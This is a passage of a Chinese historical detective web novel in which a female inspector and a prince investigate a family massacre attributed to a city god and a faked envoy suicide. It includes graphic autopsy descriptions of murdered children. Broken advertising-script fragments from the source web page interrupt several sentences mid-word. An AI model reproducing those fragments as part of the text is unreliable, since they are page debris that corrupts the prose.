瑞王想要再说却被容朗拉住。 “李少使定然是要去办什么正事,我们人多目标太大。你好好在这儿玩,我陪着你。” 总算有人能劝住这个祖宗。 李希言朝着容朗微微颔首 “我先走了。” 聚拢的乌云遮住了日光,天色,阴沉了下来。 她一个人朝着外面走去,步伐沉稳。 挺拔而孤独的背影消失在远方。 37. 雨水 天空阴沉沉的,空气里满是潮湿的气味。 几点雨刚落下,路上的人就加快了脚步,慌慌忙忙往家里跑。 不过一会儿,路上就只剩下几个人。 整座苏州城如同在画里的一般。 空荡荡的青街古巷,飘着乌篷船的溪流,别致韵味的小桥。 只是,此时漫步其中的李希言并没有心思欣赏这样的景色。 她要去找一个人。 走入一条巷子,她敲开一扇门。 门很快打开,出来了一个十一二岁的小厮。 “谁?” “绣衣司李希言,前来拜见陆御史。” “李少使啊?”小厮好奇地打量了她几眼才引她进去,“阿郎今早就收到了信,正在等您呢。” 院子很小,和平常人家住的没有区别。 陆方明已经站在了门口等她。 “李少使,许久不见啊!” 他还是往日的模样,一身青白色布衣,穿得整整齐齐,一把四寸长的山羊胡飘逸无比。 像个隐士。 李希言拱手道:“下官见过陆御史。” 陆方明扶起她:“李少使和我就别客气啦!先进来喝杯茶吧。” 二人缓步进了正厅。 坐定后,陆方明率先开口:“这次苏州的事情确实有蹊跷。” “哦?下官愿闻其详。” 陆方明摸了一把胡子。 “我和肖平没有打过多少交道,但是也知道此人不是个会轻生之人。刚到的时候,他还乐呵呵地和我炫耀他要做爷爷了。”他眼神黯淡了下来,“他的死定有人作梗。” 李希言没想到他一来就提到了肖平,压下惊讶,顺着他的话问道,“那杨长史与苟县令可有什么说法?” “别提了!”陆方明抚掌,一脸愤慨,“二人支支吾吾语焉不详,只说他是自杀。” 李希言还未接话,他又说道:“这怎么可能!” “您说得有理。” 正说着话,刚刚来开门的小厮又端着两杯茶上来。 陆方明不好意思地笑了笑:“我来这儿带的人少,只能紧着这孩子使唤。” “哪里的话。”李希言瞟了一眼外面,“陆御史太节俭了些,连住都住在这么普通的地方。您就是住驿站也要好些啊。” “唉……”陆方明苦笑,“李少使有所不知,我本来也是住在驿站的,可是那些上上下下的官员天天上门来找……我实在烦得紧就找了这个地方躲了起来。” 李希言玩笑道:“这样的事情,下官倒是没有遇见过。没人会往绣衣司跟前凑。” “你这是在取笑我了。” 李希言趁机说道:“陆御史不如这几日就搬回驿站吧?我也在,保证没人敢打扰您。” 陆方明笑着拒绝:“还是不麻烦了。我还要在这儿呆半年呢,等你们走了,我又得搬回来,搬来搬去,太麻烦了。” “也是。”李希言端起茶,喝了一口。 “说来,真是不好意思,这茶是我从京城带出来的,是去年的陈茶了,李少使莫要介意啊。” 李希言又喝下一口:“下官不会品茶,您不说我都喝不出来,只觉得这茶很香呢。” “那是李少使过得豁达。” 李希言借着这话,说道:“下官对这些事两眼一抹黑。这修筑河堤的事情到时候还要多多请教您了。” 陆方明自然是应下。 “应该的。只是……你到了苏州的事情那二人可曾知晓?” 外面的雨慢慢停下。 “我明日一早会去找他们。”李希言起身,准备告辞,“下官今日还有事,就不多叨扰了。” 陆方明起身去送:“我送李少使一程。” 肖平的事情…… 难办啊。 滴滴答。 原本已经停下的雨却变成一场暴雨忽的落下,黄豆大的雨滴一颗颗砸在人的头上。 街上原本就少的人更少了,所剩不多的人都挤在路边房檐下躲雨。 “这雨是停不下来了。我还是等着我媳妇儿过来给送伞吧。” “我娘在家,我也还是等着……” 耳边的雨声吞没了屋檐下的人语。 李希言未曾犹豫片刻,沿着街边向前走去。 一会儿雨下大了更糟,还不如早些走。 行了数步,面前豁然开朗。 李希言微微抬起头,前面没有屋檐可以躲雨。 还是走吧。 等也等不到伞。 她提脚走出一步,视线一下变得模糊。 是雨水挂在她的睫毛上。 她下意识抹去雨水。 抹完后,她才反应过来。 这么大的雨,抹掉了也没有用。 然而,瞬息之后,视线却没有再次模糊。 一把伞稳稳罩住了她。 李希言这才回过神。 一大片宝蓝色撞入视线。 “容朗?”一个名字脱口而出。 李希言也不明白自己为什么还没看见脸就喊出了这个名字。 她不该认为是他的。 二人头上的伞颤动了一下。 “李少使。”容朗微微低下头,“怎么又往雨里闯?” “着急回去。你呢?偶然路过?” 容朗眉眼弯弯,微红的眼尾垂下。 “你要是想这样认为,那就是这样吧。” 李希言没有回答,望着他的脸出神。 好像也是这样的雨天。 她去给和尚们送完饼,下山的半道上下起了雨。 晚回家会挨骂,她冒着雨往前走。 刚刚下山,小和尚就打着伞来找她。 说是要…… 容朗开口道:“我们一起回去吧。” 回忆与现实连接重叠。 李希言狼狈地垂下头,声音很低很低,埋藏在雨声里。 “走吧。” 雨下了一整夜。 李希言的房门自回来以后就没有再打开过。 也没有人敢去敲开。 容朗站在楼梯口,收回黯然的视线。 “小主子。”张锦小声问道,“昨儿到底怎么了?您不是接人去了吗?怎么还把人惹生气了。” 容朗张了张嘴。 “她……没有生气。” “这没生气怎么还……” 容朗摇了摇头:“我也不知道。” 他们毕竟太久没见了。 直到此时,容朗才真正看见那段被岁月扯开的距离。 “难不成是生病了?”张锦面露担忧,“虽然昨日您去的及时,到底还是淋了雨。而且啊,咱家看呐,李少使身体应该不是很好,嘴唇都白……” 骤然响起的开门声让张锦闭上了嘴。 李希言推门而出。 容朗愣愣地看着她。 “王爷起得 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 好早。”李希言上前主动打了招呼。 一如之前。 容朗见她面色如常,才舒了一口气。 “李少使今日倒是起得晚。” 李希言大大方方地说道:“昨日淋了雨,吃了些散寒的药,没想到那药也能安神,这才睡得久了些。” “李少使?”一道陌生的声音充满了谄媚。 声音来源于驿站一楼。 二人扭头望去。 是个穿着绿色官服的男子,生得瘦小,眼神闪烁不定。 “苟县令?”李希言正对着他。 “正是下官!”苟维一直拱着手,“听说您来了,下官特来迎接。” 李希言挑眉,扶着扶手一步一步往下走。 “只有你一个人?” “宋刺史两个月前就去了华庭县,说那儿要新修个堤坝。” “那……”李希言停下脚步,正好站在最后几节阶梯之上,俯视着他,“杨长史呢?宋刺史不在,该他代理吧?” 苟维脸色一变:“这……” 李希言凉凉道:“好大的架子。” 苟维心里一跳,硬着头皮解释:“杨长史和您平级……” 在李希言逐渐变得危险的眼神中,他急忙补救:“他说的他说的!下官没有这个意思!” “杨利贞确实清高。”容朗缓步走下,眼神冰冷,“李少使奉皇命而来,他竟然敢不来迎接?” 他没有其他的意思。 单纯就是想往杨利贞身上扣屎盆子。 苟维本来是对这个忽然出言打断的人有些不满,但是…… 这样的人物……应该不是什么凡人。 他很是谨慎,态度依旧恭敬:“这位是?” “长乐王。”李希言介绍道。 苟维倒吸了一口凉气。 得亏自己刚刚没有昏头! 他立即行礼:“下官见过王爷,是下官不识人,请您恕罪。” 容朗也不是想为难他,摆摆手让他起来。 “本王的品级足够他来迎接吧?” 没想到,苟维还是一脸为难。 李希言嘲讽道:“杨利贞在你们苏州这么霸道?他才来多久?” 苟维讪笑:“不是不是……这……杨少史实在是来不了。” “他死了?没法来?” 苟维讨好一笑:“差不多……” 本来只是过过嘴瘾的李希言有些惊讶:“什么叫做差不多?” “他……重病在床。” 李希言眉毛都不动一下。 找理由都找的怎么拙劣的理由。 把人当傻子吗! “好一个重病在床。那本官就去看看他,给他,探病!” 她说完转身就走,丝毫不给苟维再开口的机会。 容朗和几个绣衣使也紧随其后。 看着一行人风风火火离开,苟维急得扇了自己一个嘴巴子。 “破嘴!” 他身边的仆人凑过来:“老爷……这怎么办啊?” 苟维鼻子里哼出一口气:“能怎么办!反正我也没骗人!” “可……要是真把杨利贞给气死了?” “那最好!”苟维扯起嗓子,“天天给我找麻烦,死了最好!” “小声些小声些……”仆人急忙拉住他,“这话说不得的。” “有什么说不得的。”苟维阴恻恻一笑,“他杨利贞肯定是死我前边儿。” 38. 因果 杨家的大门紧闭着,内里安静得让人心里发毛。 家里人再少,也有十来口人。 怎么会一点声音都没有? 李希言缓缓下马,想要往前走。 容朗拦住她。 “有些不对,你别冲在最前面。” 他说完自己走上前敲门。 “杨长史可在?” 过了好一会儿,里面才有人应答。 “来了。” 门打开。 是个十二三岁的婢女。 她一见容朗就吓得直往后退,一双小鹿似的的眼睛一闪一闪的。 容朗有些尴尬地收回敲门的手。 他有那么吓人吗? 婢女怯怯地看着他们:“你们是?” 李希言走上前:“我是绣衣司的人。” “绣衣司啊……”婢女脸蛋一下就红透了,“是绣衣司的李少使?” 关风和极小声地说道:“《绣衣奇缘》……” 卫川捂住嘴巴憋笑。 李希言当做没听到一样。 “正是。” 婢女伸出手又收回去:“我……我先去禀报……” 李希言抬手止住,语气不容反驳。 “我们直接进去。” 婢女咬了咬嘴唇:“那……那我带大人进去。” “劳烦了。” 婢女飞快觑了一眼她,低着头:“大人请……” 在她的带领下,一行人径直进了杨利贞所居住的院子。 李希言也不等通报,直接闯了进去。 甚至还极不客气地踢开了门。 一进门,还没来得及看清,就是扑面而来的药味。 “谁……谁啊……”无力低沉的声音从床的方位传来。 李希言循声而望。 杨利贞正挣扎着起身。 她几步走近,声音没有丝毫起伏。 “杨长史病了?” 这话有点像是在明知故问。 因为杨利贞此时的样子,实在是过于憔悴。 松垮的眼皮耷拉着,眼睛深陷,没有一丝神采,一点儿也瞧不出是那个年轻的时候被夸赞英姿挺秀的状元郎。 “李……”杨利贞勉强撑着坐起,气若游丝,“李少使来了?” 李希言露出一丝嘲讽的笑。 要是往常,这个杨利贞不跳起来破口大骂才怪。 这一病还修正了他的性子。 “我刚到,杨长史就病了,好巧。倒像是本官给您老人家带来的灾祸。” 杨利贞脸色一白,勉强挤出一丝笑。 “是我……自食恶果……” 他说完合上了眼,似要坐化的老僧。 李希言不为所动。 “杨长史还是先起来,本官有人命关天的事情要找你。” “人命关天……”杨利贞还是没有睁开眼睛,只痴痴地重复着,“人命关天……” “李少使……”刚刚引几人进来的婢女拉了拉她的袖子,“您先和我出去吧。” 李希言看她像是有话要说,又见这个杨利贞一副寻死觅活的样子,这才作罢,跟着她走了出去。 一出去,婢女就关上了门,贴着李希言小声说道:“阿郎是真的病了。八月十五那晚,夫人和小郎君还有小娘子都死了……” “什么?!”李希言心中一跳,“到底是怎么回事?” 众人都盯着婢女。 让她有些害怕,她又往里希言的方向靠了靠。 “我也不太清楚。十六那日早上一起来,我就听他们说夫人他们死了。阿郎在府里直接发了狂,之后就一直这样病着。” “府里的管事呢?” 婢女像是受不了被那么多人盯着,直接跑开。 “婢子这就去叫人!” 片刻后,还穿着孝衣的管事就急匆匆地跑了过来。 “鄙人见过各位大人。” 李希言抬手:“起来。先说清楚你家夫人的事情到底是怎么回事?” 管事叹了口气,一脸心有余悸的样子。 “十五那晚,主子们早早吃了饭就回了房,和往常一样。然而第二日一起来,奴婢们就发现夫人和小主子们都不在屋里。我们找了许久,才发现书房的门紧锁着。等我们把书房的门撞开才发现……夫人和小主子们都躺在地上,满身都是血……” “那杨利贞呢?” “阿郎……阿郎手里拿着剑……躺在一边。我们叫了好久他才醒来。” 李希言听得头晕脑胀。 “是……” “不是不是!”管事连连否认,“不是阿郎杀的人!阿郎再怎么样也不会杀掉自己的孩子啊!” “那是谁?” 管事的脸皱成了一团。 “是……是城隍爷!” 城隍? “说清楚。”李希言迫近一步,“不要有任何隐瞒。” 正在管事不知道如何开口的时候,里间忽然传来杨利贞虚弱的声音。 “进来吧,李少使,我亲自告诉你。” 李希言直接走了进去。 杨利贞已经睁开了眼,半坐在床上,抬着眼皮望着她。 “那晚……我喝了些酒,准备在书房睡下。半梦半醒之间,我感觉到有人走近,等我定睛一看之时,才发现来者是个头发胡子雪白的文士,穿着一身曲裾深衣……” 曲裾深衣? 那不是战国时期的穿着吗? “他告诉我,他是本地城隍。还说今年的洪水是作祟的妖魔引发的。等会儿他会引来那些妖魔,让我拿剑斩杀那些妖魔,护佑百姓。” 李希言按了按额角。 “他城隍斩杀不了的妖魔,要让你来?” “他说我有浩然正气,我也没多想,就应下了。之后,他身形消失,立时窜出来许多形状怪异的妖魔鬼怪。我吓得提起剑就砍,没过多久,那些妖鬼就消失了。然而,等我醒来的时候……” 杨利贞双手紧捏成拳,不住地颤抖着。 “我的夫人,孩子……” 他还未说完就悲痛得失了声,埋在被子里痛哭。 李希言未再追问,退了出去。 管事目光期期地看着她:“阿郎他……” “你家夫人……可否容我去祭拜一二。” “啊?”管事怎么也没想到这个一直对他家惨剧看似无动于衷的女官会忽然提出要去祭拜夫人。 “尊夫人的侄女是我的好友。” 管事眼泪唰的一下就下来了。 “六娘子?她也命苦,走得早走得早……夫人也命苦,在王家也就六娘子把她当做长辈对待了。您请吧。” 一行人去了灵堂。 灵堂设在正厅。 一个大棺材放在正中间,左右各放着两个小棺材。前面设着香案和牌位。 “怎么没有挂上招魂幡?” 不仅是招魂幡,挽联这些都没有挂上。 就连杨家所有人都没有一个戴孝的。 “夫人他们的遗体还在县衙……我们府里乱糟糟的,才把棺材 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这些准备好。” 二人正说这话,一个面容憔悴的中年妇人走了过来。 “管事,这位是?” 管事态度还算不错:“这位是绣衣司的李少使。李少使,这位是府里的莲姨娘。” 莲姨娘看上去很沉稳懂礼:“妾见过李少使。” 李希言想着在她这里能套些话。 然而还未开口,莲姨娘就先说道:“李少使是为了夫人的事情来的吗?有李少使在,想必肯定能抓到杀害夫人的凶手!” “算是。莲姨娘与薛夫人关系倒是不错?” “夫人是个顶顶好的人!”莲姨娘边哭边说,“妾自小家里穷,也不招父母疼爱,进了府,夫人待我像亲妹妹一样。就连我生的孩子,夫人也是一视同仁,和她的孩子放在一处教养的。外头那些嚼舌根黑心肠的东西,非说夫人是被城隍爷惩罚才死了的!夫人这辈子没做过任何坏事儿,哪儿来的报应挨!还有我的孩子……” 李希言宽慰道:“节哀。” 哭成这样也没法再问。 她上了香就只好先离开。 得找其他人了解情况。 一出杨家,容朗忍不住说道:“这样太假了吧?就算是报应也该是报应在他杨利贞头上,关他妻儿何干?” “是啊。”李希言回头望着杨家的牌匾,“太假了。” 县衙。 苟维从驿站回来后,就一直惴惴不安。 总觉得刀架在脖子上。 他可记得清楚。 谢荣和赵回都折在那个女阎罗手上了。 这俩人还是有靠山的,他这个没靠山的…… 他想着就打了个激灵。 身边的县丞出言道:“这李希言来苏州,定然会往县衙里来,下官让手下的人都警醒些?别让她捏着把柄?” “先去吧。”苟维瘫坐在椅子上,“我总觉得我命不久矣,不太想挣扎了。” “您这是什么话!” 县丞心想:你不想活我还想活呢。 “事情都安排好了,您有什么不放心的。” 苟维唉声叹气:“知道了知道了,你先去办事吧。” 县丞也不好再劝,向外面走去。 还没出大堂,就迎面撞上了手里提溜着衙役的李希言以及她背后的一行人。 县丞僵在原地。 老子就知道这些人要捅娄子! 李希言将手里的衙役一放。 “你们县衙该好好整治一番了。” 苟维吓得心砰砰直跳,忙不迭地跑来认错。 “您教训的是,还不快拖下去打板子,这些欺上瞒下的东西,一天到晚只要有一刻没盯着都偷懒耍滑!” 县丞带着衙役灰溜溜地走了。 李希言看了一眼,也没有追问,反而优哉游哉坐了下来。 苟维被占了主位也没说什么,弯着腰站在下面。 反正长乐王都坐下位,他也不算亏。 “刚刚,本官去了杨家一趟。” 苟维立即找补:“那个杨利贞家里出了这么大的事,确实可怜。” “那你怎么扣着他家里人的遗体?” 苟维猜想她定然是知道了那些话,急忙解释。 “这是下官职责所在啊!人被杀了总要验尸吧?下官可不是那种信那些神神鬼鬼的话的人。” 还好他留了一手,不然今日绝对要栽跟头! 李希言确实对他的印象好上了些许。 “你这话倒算句能入耳的。说说吧,你查出了什么。” 39. 惨不忍睹 苟维大松一口气。 当时案发的时候,他想着杨家不好得罪,本着求稳的心,把尸体现场都仔仔细细验了一遍。 此时他很是自信。 “薛夫人以及四名孩童都是被刺死的,身上除了锐器伤没有其他伤口,也没有中毒的迹象,死亡时间是八月十五晚上近子时的时候。现场……确实有些诡异,书房门窗是从里面被锁住的。” “杨利贞可有嫌疑?” “下官最开始也是这样推测的。可是……这杨利贞再怎么样也不会把自己孩子都杀了吧?他年纪一大把就那么一个儿子,他就是自己死也不会愿意自己儿子的死的。而且他和他夫人感情一直不错,家里就一个妾室。” 李希言趁机问道:“他家的情况到底如何?” “杨家家里也不复杂。他和薛夫人感情很好,因为薛夫人连生了三个女儿没有儿子,他才纳了现在这个妾。这个妾室嘛……也没听说他家妻妾相争。” “这个妾室是什么来历?” “好像原来是他家婢女。” “案发那晚,杨家可有什么异常?” “下官盘问过了。薛夫人心善,八月十五那日放了仆人回家去和家人团圆,家里只有几个家生子照顾。那些仆人说那晚用完晚饭分食完月饼,几个主子就各自回了屋,杨利贞说还有事就去了书房。薛夫人发话,让他们休息,不需要伺候,那些仆人就回了自己的房间。那晚,都没有听见任何动静……” 李希言见他一脸的欲言又止,直截了当地问道:“你对此案有何看法?” 苟维讪讪地开口:“这话说出来不大好听。” 李希言不喜欢卖关子的人,冷着脸把他盯着。 苟维被她看得心里发慌,急忙说道:“那……下官就直言了。这世上没有鬼怪但是却有人心。这人呐,自己惹祸上身,也别怪得了报应。” “他确实得罪了不少人。”李希言眼神一定,“苟县令有何人选?” 苟维搓了搓手。 “今年年初的时候,县衙里抓了一对儿偷情的男女,下官按规矩是判了徒刑一年半。没想到杨长史跑来把那个女人给打死了。这下可好!那女子的丈夫本来就没想着要人命,得知后抱着孩子直接就闹到了县衙里……” 想到这里,他面露愤恨:“杨长史看情况不对自己跑了,留着下官一个人顶在前面……” “那事情如何处理的?” “虽然这事儿不是下官所为,但是再怎么说也不能就这么压着。下官就做主免了他十年的课役,自己掏了二十两银子算是安葬费。” “他接受了?” “接受了啊。人都死了还能怎么样?他没闹可是还有其他人闹啊!” “谁?” “那个女子的娘家人啊。那家人要的可不是钱,要的是个公道。”苟维双手摊开,耸了耸肩膀,“下官一个小小的县令哪里能给他们公道。” 难不成他区区一个县令还能把长史给锁拿下狱了? 他又不是绣衣使,品级低权力大。 “你的意思是那个女子的娘家人干的?” 苟维没有否认:“很有可能。” “他就没有得罪其他人吗?这样的事情他做的不少。” “没有,当时刺史在呢,有人管着他,他没那么放肆,下官能确定的就这么一个。” 基本的情况已经问清楚了,其余的线索只能在死者身上寻找。 “薛夫人他们的遗体在何处?” 苟维揣测道:“下官把验尸格目给您拿来?” “遗体在何处?” 苟维觉得有些奇怪。 想要自己验吗?可这一堆人也没带仵作啊? 李希言见他不搭话,再次重复了一遍:“带路。” “啊?”苟维这才回过神,也不敢多问,手足无措地让开一条路,“您请。” 验尸房。 仵作坐在门口撑着脑袋打盹儿,口水像是瀑布一样,都淌到了地上。 苟维忍不住捂住了额头。 他就是平时太放纵! 李希言朝着他挑了挑眉,笑得让人心里发毛。 苟维只能假装没看到,使劲儿咳了咳。 正打盹儿的仵作被吓得差点摔了一跤。 好不容易站稳,他擦了擦嘴角的口水,一下就愣住了。 “老……老爷?” 苟维一脸麻木:“上官要查看杨家人的尸体。” 仵作有些迟疑。 “那尸体……不是验了吗?” 李希言向前了一步:“怎么?验了就不能再验了?” 睡得脑子都蒙了的仵作这才发现这位上官竟然是个女子,一时之间都呆在了原地。 苟维很是心累。 都是些什么手下? “快带路,别废话。” 仵作偷偷觑了李希言一眼。 “那尸体挺吓人的。” 看着再吓人,这不也是个姑娘家么…… 李希言:“有多吓人?烂了?” “也不是,就是被砍了好多刀,鄙人还没清理完,看着血肉模糊的。” 苟维看出了仵作的想法。 活阎王还会怕这些? 他上前扯了一下仵作。 “快带路!” 仵作也不敢违抗自己的上官,悄悄叹了口气,往里间走去。 验尸房内味道虽然怪异,但是好在光线还算充足,尸体也被白布盖着,没那么阴森。 仵作走到靠窗的地方才停下。 “这五具尸体,就是薛夫人和杨家的四个孩子。” 他犹豫了一会才揭开一具尸体上的白布。 “嘶……” 众人都倒吸一口凉气。 露出来的尸体是薛夫人。 惨白惨白的。 尸体上的血迹已经清理干净,却还是看不清本来的面目。 不因为其他,而是因为尸体上密密麻麻的刀痕…… 太多了。 薛夫人的面庞被切割得支离破碎。 李希言是见过她的,如今却不大敢肯定这具尸体就是记忆中那个温和大气的女子。 仵作面露不忍:“我们粗略数过,光是薛夫人身上都有六十多刀。” “那这几个孩子呢?” “还是别看了吧,孩子更……”仵作也是有孩子的人,看一次难受一次。 李希言不管他的话,直接掀开。 尸体没有清理完血迹,上面的刀痕皮肉外翻,刀痕密集的地方血肉烂成一团。 透过伤口,依稀能够辨别出尸体是一个十岁出头的小姑娘。 李希言眼睛一酸,差点流下泪来。 “这是他家大女儿?” “是……” 这个孩子她也是见过的。 只有匆匆一面。 那时候六娘来找她,怀里就抱着这个孩子。 她说是她表姑母的大女儿。 这孩子当时还小,长得像个圆圆的汤圆似的。 现在…… “都先出去吧。”容朗忽然说道,“仵作留下,给我打个下手。” 苟维一脸见了鬼的表情:“给您……打下手?” 仵作不知道容朗的身份倒没有什么惊讶的。 绣衣使们飞速离开了。 都是面硬心软的人,看见小孩儿的尸体,心里都受不了。 只有李希言还留着。 “苟县令,你可以出去。” 苟维很嫌弃验尸房污秽不吉利,巴不得离开。 换做往日,他根本不会踏足此地。 只是此时,二人都留在原地,他怎么敢跑 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 掉? 他挺着胸膛,一副大义凛然的样子。 “下官责无旁贷!” 李希言知道他在装样也不拆穿。对着容朗说道:“验吧。” 容朗视线游离了一瞬,把“你也出去”这四个字咽了下去。 他本来是怕她撑不住,想支走她的啊! “好。” 从薛夫人验起。 容朗率先检查了尸体的表面。 皮肤灰白,口唇暗红,指甲是淡蓝色。 确实符合失血过多致死的情况,没有任何中毒的迹象。 他这样想着,先行检查了死者的要害。 颈部有一道极深的伤口。 胸口腹部伤口不深,也没有伤及要害。 颈部上的是致命伤。 容朗在纸上细细记下每一处伤痕的分布。 总觉得哪里不对。 他挡在最前面,迅速验完剩余的几具尸体。 李希言接过验尸格目看了一眼。 “要剖尸。” “没错。”容朗也有此意。 苟维不赞同:“杨长史那里……” “杨长史与薛夫人鹣鲽情深,怎么会为了世俗之见放弃寻找凶手的可能呢?” 苟维觉得李希言这话有些阴阳怪气的。 杨利贞这人最喜欢标榜自己是个君子,这种人不看重名声? 但是,既然这两位做主,他也不多说了。 “您说的是。” 容朗拿起刀,犹豫了一二,还是决定先剖开薛夫人查验。 仵作见他的动作有些好奇:“您是要剖开她的胃查验吗?可是死者没有任何中毒迹象啊。” 容朗解释道:“不是因为中毒。而是我怀疑他们被下了迷药。” “迷药?” “你看,五名死者的致命伤都在咽喉处。即使凶手再厉害,割喉也不会立即致死。也就是说,在凶手往死者身上砍杀的时候,死者应该是清醒的状态。在这种状态下,死者身上应该会留下抵抗性伤痕。可是死者的双手并没有这样的伤痕。这说明死者在被砍杀时应该处于昏迷的状态。” 仵作问道:“抵抗性伤痕?这是啥?” 容朗抬起头,突然朝着仵作一掌打去。 仵作下意识用右手格挡住他的攻势。 容朗笑着收回手:“喏。人在受到攻击的时候都会这样抵挡,手臂上自然会留下伤痕。” “还真是。”仵作笑得淳朴极了,摸着自己的胳膊,“你们绣衣司的官儿就是厉害。” 容朗没有否认,手下动作不停。 这个仵作人倒是勤快,帮着忙前忙后递东西,李希言站在一边儿干看着。 苟维埋着脑袋,看着自己脚尖儿。 李希言瞟了一眼他。 真是让人瞧不上。 再怕也要看着啊,也不知道这么多年怎么办的案子?得好好查查。 苟维背心一凉。 他摸了摸自己后脖颈。 入秋了,今天穿薄了。 这边忙着的二人缝合了尸体。 容朗面露沉重:“薛夫人的胃内确实有迷药。其他四具尸体不用检验,多半也是一样的。” 李希言赞同。 管事说过,那晚留在府上的仆人也是一晚上没有听见任何动静,很有可能杨家人都被喂食了迷药。 苟维试探着问道:“李少使真要查这案子?” 李希言斜睨了他一眼。 苟维清了清嗓子:“这案子很蹊跷……下官把卷宗给您?” “嗯……”李希言扯了扯嘴角,“不急,刚好今日到了你这县衙,顺便把另外一件事情办了。” “什……什么事?” 李希言转过身,面对苟维背着手。 “肖平的尸体也在你这儿吧?” 40. 钦差之死 苟维懵了一下。 她已经知道肖平的事情了?可是她不是冲着赈灾的事情来的吗? “尸体在哪儿?” 苟维很快稳住心神。 “确实在府衙,但是不在这儿,下官这就让人把尸体拉过来?” 看上去底气还算足。 李希言点头:“去吧。” 苟维拉住仵作告辞,验尸房内只剩下二人。 容朗不明所以。 “肖平?是谁?” 李希言这才把肖平的死告知给他。 “说的是自缢而死,但是你等会儿还是要仔细查验一二。” “我明白。”容朗见她愁眉紧锁,宽慰道,“缢死还是被勒死是很容易查验出来的。” “若真是勒死,他们会这么干脆把尸体给我们看吗?” 李希言的担忧似乎是多余的。 苟维很快就让人抬来了肖平的尸体。 仵作掀开白布。 “这个我也验过。确实是自缢身亡的。” 尸体的脸上满是抓痕。 “这是怎么回事?”李希言指着尸体上的痕迹责问。 苟维面露尴尬:“这伤是……是……” 李希言是真的有点不耐烦了。 这人怎么这么爱卖关子! 她脸色一黑,苟维说话立马变得利索了起来。 “李少使或许还不知道肖平是为何自杀的吧?” 李希言冷着脸不说话,手已经摸上了刀柄。 苟维向后退了一步,语速飞快。 “肖郎中酒醉后对一婢女意图不轨,不慎被其所伤。之后因为惧怕婢女举报,他就上吊自杀了。” 这不是能好好说话吗? 李希言脸色和缓了些,手也从刀柄上放了下来。 “核实过?哪家的婢女?” “核实过,受害人正是下官府中的婢女。那日宴饮的时候,肖郎中酒醉后被扶去客院休息,在此期间,他意图奸污给他送醒酒汤的婢女,婢女拼命反抗后逃出,向下官告状。下官也不瞒着您,当时下官本来是想着息事宁人,到底是京城来的官儿,得罪不起。那婢女也没有真被如何……没想到,肖郎中自己想不开,回去之后就上了吊。或许是他害怕事情败露毁掉他的名声吧。” 李希言觉得有些好笑:“肖平家中只有一位老妻。” 这种人去奸污婢女,可能吗? “李少使,您怀疑我?!”苟维大惊失色,“我就是再疯也不敢去杀钦差啊!这……这……” 他摆着手,有些语无伦次:“这……不然……我嫌疑最大啊。” 李希言没有回答,将视线投向容朗。 “情况如何?” 容朗正在死者的手上查验,他翻来翻去看了好几遍才回答道:“颈部的沟索是生前伤,八字不交,确实是自缢身亡的。” “好,这事情也就算了。苟县令。”李希言转头看向他,“这件事情到底涉及到朝廷颜面,你莫要声张,具体情况本官会向陛下禀明。” “下官明白。”苟维满脸堆笑,“这事情一直捂着的,没几个人知道。” “你还算懂事。”李希言拍了拍他的肩膀,“这事情也算了结了。明日一早,你带本官去新修的堤坝看一看,本官也好写折子给陛下回报。” “应该的应该的。”苟维一口应下,毫不犹豫,“下官明早就在堤坝处恭候李少使。” 李希言回头看了一眼尸体。 “很好。那本官就先回驿站了。” 容朗也已经收拾好,跟上了她。 苟维拱着手深深一拜:“下官恭送王爷,恭送李少使。” 李希言忽然顿住脚步。 “杨家杀人案的卷宗别忘了。” 她说完就走,潇洒得很。 站在原地的苟维却变了眼神。 这个女人……到底要做什么? 两头抓? “县令?”仵作的声音有些飘,“您刚刚叫谁王爷啊……” 苟维瞥了他一眼。 “和你验尸那个。” 仵作喃喃道:“王爷还会验尸啊……” 一回到驿站,李希言就钻进了屋里。 杨家人被杀的案子不简单。 肖平也不会就这样死了。 还有堤坝。 他们对她早有防备。 思绪一团乱麻,酸痛从脖颈后蔓延上头部。 她敲了敲头。 “该怎么办呢……” 笃笃—— “李少使,是我。” 容朗的声音似乎和平时不太一样,像是沾染了水汽一般,湿润润的,带着几分缱绻。 李希言手下一拂,手边的纸张尽数飘散,落在地上。 她急忙捡起放好才应声。 “请进。” 容朗手上提着食盒,缓缓走来,将食盒往桌上一放。 “李少使,一起用饭?” 他应该是去沐浴过,头发还半干着,换的衣裳也是很家常的样式。 如同那晚,纯白微透的纱袍,衣领还是微微敞开着。 秋风从窗户外袭来,带着能够透过衣裳的凉意。 不冷吗? 李希言视线转开。 这么不正经的人怎么会是小和尚。 肯定是她想多了。 “不必了。” 容朗就知道她要拒绝,学着自己侄子厚脸皮的样子,一屁股赖在了凳子上。 “我还说和李少使边吃边说今日验尸的收获呢~” 李希言一下就听懂了,坐了下来。 容朗满足了,乐呵呵地摆上了几盘小菜和粥。 粥是奶白色的花生粥,用打碎的花生加上粳米熬煮而成,看上去就很浓郁,花生的香气更是引人垂涎。 小菜清爽,闻着就有一股酸酸的醋味。 两相搭配,定然是浓郁而清爽。 容朗一直注意着她的小动作。 看得这样认真,是喜欢的意思。 “李少使。”他将粥往她的方向推了推,“明日还要去河堤巡察,不吃些东西怎么能行?” 李希言接过:“多谢王爷。” “你先吃着,我慢慢说啊。”容朗搅着碗里的粥。 李希言舀起一勺,慢慢喝下,眼神还一直在他身上,等着他的下文。 “首先……”容朗放下勺子,“那具尸体根本就不是肖平。” 李希言咽下嘴里的粥:“你怎么看出来的?” 容朗盯着她停下动作的手,示意她继续吃。 李希言继续动筷,他才继续说道:“肖平可是个文人,右手中指怎么会没有茧子?我可没听说他是左利手。不仅如此,那尸体的身上还有很多红色的小疙瘩与水泡,那是长期身上有跳蚤的人才会有的。肖平……会那么不爱干净?” “他是右利手,也很爱干净。”李希言放下碗,“他们从哪儿找来的尸体?和肖平长得确实像。” “李少使记人脸向来厉害,我还以为你当时就认出来了呢。” “人死后,外貌本来就会有些变化,更何况尸体脸还被抓花了,我一时哪里认得出来。” “李少使明明知道我当时有所隐瞒,为何顺着我的话往下说?”容朗定定地看着她。 “因为直觉。”李希言埋着头搅着碗里的粥。 